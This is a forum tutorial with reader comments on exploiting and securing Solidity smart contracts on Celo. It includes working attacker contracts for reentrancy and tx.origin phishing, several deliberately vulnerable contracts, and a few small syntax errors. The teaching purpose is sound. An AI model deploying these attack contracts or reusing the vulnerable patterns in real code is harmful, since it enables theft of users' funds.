Hacking A Smart Contract: Exploiting Vulnerabilities in Your Smart Contract on Celo and a Guide in Securing it

Hacking A Smart Contract: Exploiting Vulnerabilities in Your Smart Contract on Celo and a Guide in Securing it https://celo.academy/uploads/default/optimized/2X/2/21be29b009001f690fb281b9352a8ad2cba57ec2_2_1024x576.png
none 0.0 0

Introduction

Smart Contracts offer unprecedented transparency and security however some vulnerabilities can be exploited. Since smart contracts are immutable if there are vulnerabilities in your code it can be exploited. In this article we will be exploring the various ways your smart contract can be exploited/ hacked ( Replay Attack, Ownership Exploit, etc.) providing concrete examples with code of smart contracts that can be exploited, potential consequences, preventive measures, best practices which will help prevent hacks.

This article will show you the following:

  • Hacking Smart Contract: Common ways your smart contract can be hacked.
  • Securing Smart Contract: Ways of preventing such hacks.
  • Best Practices: Ways of writing better solidity code.

By the end of this article, you will have an understanding of how to prevent hacks in your smart contract and write better smart contracts.

Prerequisites

You will need solid and prior knowledge of the following:

  • Solidity: Solidity is an object-oriented programming language for implementing smart contracts on various blockchain platforms.
  • Blockchain concepts: A good understanding of basic blockchain technologies and their useful tool for development will suffice to take you through this tutorial.

Requirements

To complete this article

Let’s Begin

The most common ways smart contracts can be hacked include the following:

  • Reentrancy Attack
  • Integer Overflow
  • Denial of Service Attack
  • Replay Attack
  • Ownership Exploit
  • tx.origin Phishing Attack

Reentrancy Attack

This is a very common attack which is a result of a contract calling an untrustworthy contract which repeatedly calls a contract before it finishes executing to drain funds from the smart contract.

Reentrancy Attack Example

Head over to remix, create a new file called reentrancy.sol and create a bank contract in it. The bank has two functions which are deposit and withdraw. When the deposit function is called we store the amount deposited in the balances array and the withdraw function checks the balances array to see the amount deposited and sends it to the user.

// SPDX-License-Identifier: GPL-3.0


pragma solidity >=0.7.0 < 0.9.0;
import "remix_tests.sol";




contract Bank {
    mapping(address => uint) public balances;


    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }


    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);


        // Send the funds to the user
        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Funds");


        // Update the balance
        balances[msg.sender] = 0;
    }
}

Now let us create another contract called thief.sol where we will import the re-entrance contract into and create an attack contract. In the attack contract we define a function which when called sends one ether to it. Immediately after the hacker calls the withdraw function which sends one ether out of the bank contract and immediately calls a fallback function which immediately withdraws again. This process will be repeated until all the funds are drained from the bank.

 // SPDX-License-Identifier: GPL-3.0


pragma solidity >=0.7.0 < 0.9.0;
import "remix_tests.sol";
import "./reentrancy";




contract Attack {
    Bank public bank;


    constructor (address _bankAddress) {
        bank = Bank(_bankAddress);
    }


    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Call the withdraw function again
            bank.withdraw();
        }
    }


    function attack() external payable {
        require(msg.value >= 1 ether);
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }
}

Preventing Reentrancy Attack

We can prevent such attacks by updating our code. Now, let’s ask ourselves a question, why can the user keep withdrawing from our contract without his balance updating? This is because we send tokens to the attacker before updating our code. A best practice for writing smart contracts is to perform checks, update state then performs external calls. Here is the modification of our bank contracts withdraw function:

 function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
       
        // Update the balance
        balances[msg.sender] = 0;


        // Send the funds to the user
        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Funds");


    }

Another method will be to use openzeppelin reentrance guard .

Great, we can now prevent Reentrance hacks in our smart contracts.

Integer Overflow Hack

An integer overflow in solidity is a type of error that occurs when an integer value exceeds its maximum or minimum value limit by one. For example, if you try to increment a unit 8 variable that has a value of 255 by 1, the result will not be 256, but 0. This can lead to unexpected and potentially dangerous consequences, such as losing funds or allowing unauthorized access.

Integer Overflow Hack Example

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.5.0;


contract Overflow {
    uint8 public balance = 254;
    function increaseBalance() public returns(bool success) {
        balance ++;
        return true
    }
}

Preventing Integer Overflow Hack

To prevent integer overflows, you should use the Safe Math library that performs checked arithmetic operations and reverts on errors. Alternatively, you can use Solidity version 0.8.x or higher, which has built-in overflow checks.

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;


contract Overflow {
    uint8 public balance = 254;
    function increaseBalance() public returns(bool success) {
        balance ++;
        return true
    }
}

Denial of Service Hack

A DoS attack is a type of attack to stop a smart contract from working properly by making it run out of gas, throw an error, delete itself, or change its settings. This can make the smart contract useless or harmful to its users. To prevent this, developers should write their smart contract code carefully and use some tools and techniques that can help them avoid common mistakes and bugs. Here is an article explaining it.

contract KingOfEther {
    address public king;
    uint public balance;
 
    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");
 
        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");
 
        balance = msg.value;
        king = msg.sender;
    }
}

Replay Hack

A replay attack in Solidity is a type of attack that involves reusing a valid transaction on the same or another blockchain to gain an unauthorized benefit. For example, a hacker can take a signed message that authorizes withdrawal from a wallet and replay it on another wallet with the same code and owners. This can result in double-spending or stealing funds from the wallets.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;


import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";


contract MultiSigWallet {
    using ECDSA for bytes32;


    address[2] public admins;


    constructor(address[2] memory _admins) payable {
        admins = _admins;
    }


    function deposit() external payable {}


    function transfer(address _sendto, uint _amount, bytes[2] memory _sigs) external {
        bytes32 txHash = getTxHash(_sendto, _amount);
        require(_checkSignature(_sigs, txHash), "invalid sig");


        (bool sent, ) = _sendto.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }


    function getTxHash(address _sendto, uint _amount) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(_sendto, _amount));
    }


    function _checkSignature( bytes[2] memory _sigs, bytes32 _txHash) private view returns (bool) {


        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();


        for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == admins[i];


            if (!valid) {
                return false;
            }
        }


        return true;
    }
}

Click Here to learn more about replay hacks.

Ownership Exploit Hack

An ownership exploit in Solidity is a type of attack that involves gaining unauthorized access to the privileged functions or settings of a smart contract by exploiting a vulnerability in the contract’s code or obtaining the contract’s private key. For example, an attacker can call a function that updates the price of a commodity or transfers funds from a multisig wallet without being the owner or an authorized user of the contract. This can result in manipulating the contract’s logic or stealing funds from the contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract FruitMarket {
  uint256 public orangeprice;
  uint256 public grapeprice;


  constructor(uint256 _orangeprice, uint256 _grapeprice) {
    orangeprice = _orangeprice;
    grapeprice = _grapeprice;
  }


  function updateFruitsPrice(uint256 _orangeprice, uint256 _grapeprice) external {
    orangeprice = _orangeprice;
    grapeprice = _grapeprice;
  }
}

Here is a full article explaining Ownership Exploit.

tx.origin Phishing Hack

Tx.origin is a global variable in Solidity that returns the address of the account that sent the transaction. In this type of hack, the hacker deceives the owner of a contract to perform tasks only they can perform. Let’s see the following example:

pragma solidity ^0.8.0;

contract VictimContract {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function withdrawFunds(address to) public {
        require(tx.origin == owner);
        uint contractBalance = address(this).balance;
        (bool suceed, ) = to.call{value: contractBalance}("");
        require(suceed, "Failed withdrawal");
    }
}

contract Attacker {
    address public owner;
    VictimContract victim;

    constructor(VictimContract _victim) {
        owner = payable(msg.sender);
        victim = VictimContract(_victim);
    }

    receive() external payable {
        victim.withdrawFunds(owner);
    }
}

The victim deploys VictimContract and sends 20 Ether to it. The Hacker deploys Attacker and sets VictimContract address in its constructor. The hacker deceives the victim into sending some ether to its contract, ending up in victim calling withdrawFunds with the hacker as the receiver. The hacker successfully steals from the victim.

Preventing tx.origin Phishing Hack

To prevent tx.origin attacks, we need to use the msg.sender instead of tx.origin for authentication purposes. Additionally, users should be very cautious when interacting with unknown contracts and should only provide sensitive information to trusted sources.

By changing the require statement inside withdrawFunds (address to) method, the hacker will not be able to steal funds as the contract will revert as msg.sender would be referring to Attacker Contract.

pragma solidity ^0.8.0;


contract VictimContract {
    address public owner;


    constructor() {
        owner = msg.sender;
    }


    receive() external payable {}


    function withdrawFunds(address to) public {
        require(msg.sender == owner);
        uint contractBalance = address(this).balance;
        (bool suceed, ) = to.call{value: contractBalance}("");
        require(suceed, "Failed withdrawal");
    }
}

Congratulations :sparkles:

We have reached the end of this article, where I hope you have learned some valuable lessons on how malicious actors can exploit vulnerabilities in your smart contract code and what measures you can take to prevent some of these attacks. There are a ton of attacks that can be performed, but we can mitigate this by performing proper smart contract audits.

Next Step

One of the best ways to prevent your smart contract from being hacked is to follow best practices. Check out this article to find out Best practices for writing smart contracts with real world examples .

About the Author

Oselukwue Kinyichukwu is a Fullstack developer with a passion for learning, building, and teaching. You can follow me on Twitter, check out my profile on LinkedIn, and see what I’m building on Github.

8 Likes

Hoping to learn from this

5 Likes

I look forward to the outcome of this tutorial.

2 Likes

Fantastic news! Your proposal has landed in this week’s top voted list. As you begin your project journey, remember to align with our community and technical guidelines, ensuring a high quality platform for our developers. Congratulations! :mortar_board: :seedling:

5 Likes

I look forward to this tutorial.

4 Likes

Anticipating for this great piece! :innocent:

4 Likes

Thank you @jimohyusufolatunji4 :tada::tada:

3 Likes

welcome bro

4 Likes

Looking forward to this :innocent:

5 Likes

Hi @kinyichukwu I’ll be reviewing this piece in 1 to 2 days

5 Likes

I have so much interest in smart contracts, especially the security aspect. This tutorial is cool especially how you explain the reentrancy attack with code examples. But there was little information about replay attacks.
In my way, I’ll explain what replay attacks are and how to avoid or prevent them from happening. I learned this time ago from the EncodeClub expert solidity BootCamp I attended.

Replay attack

Simply put, a replay attack is a system of executing transactions meant for a chain on another chain. it involves taking transactions that are valid and executing them on another compatible network. This is usually done on chains that are compatible in architecture or are forks of another such as replaying transactions already validated on Ethereum on Ethereum classic.

Recently, developers have found a way to resolve replay attack issues. Replay attacks are not that possible again since every chain now has chainId. So if an attacker takes transactions validated on the Ethereum chain to Polygon for instance, it will instantly be rejected because the chainIds are different. There was an Ethereum Improvement proposal meant for this. But I can’t recollect at this time.

On Celo, replay attacks are not possible even though Celo is nearly 100% compatible in architecture with Ethereum. Celo’s configuration makes it difficult to even fork. I hope this helps a little.

I also made similar topics at Best practices for writing smart contracts with real world examples. You may check to learn more about the best practices to keep in mind when writing smart contracts.

11 Likes

Yeah, someone wrote a full article on replay attack, so I linked to his article.

4 Likes

I’ve gone through this twice. It’s great kudos to you. :slightly_smiling_face::white_check_mark:

3 Likes

Ok! that’s good. Nice one @kinyichukwu

10 Likes

Quite straight forward and easy to understand. Thanks

1 Like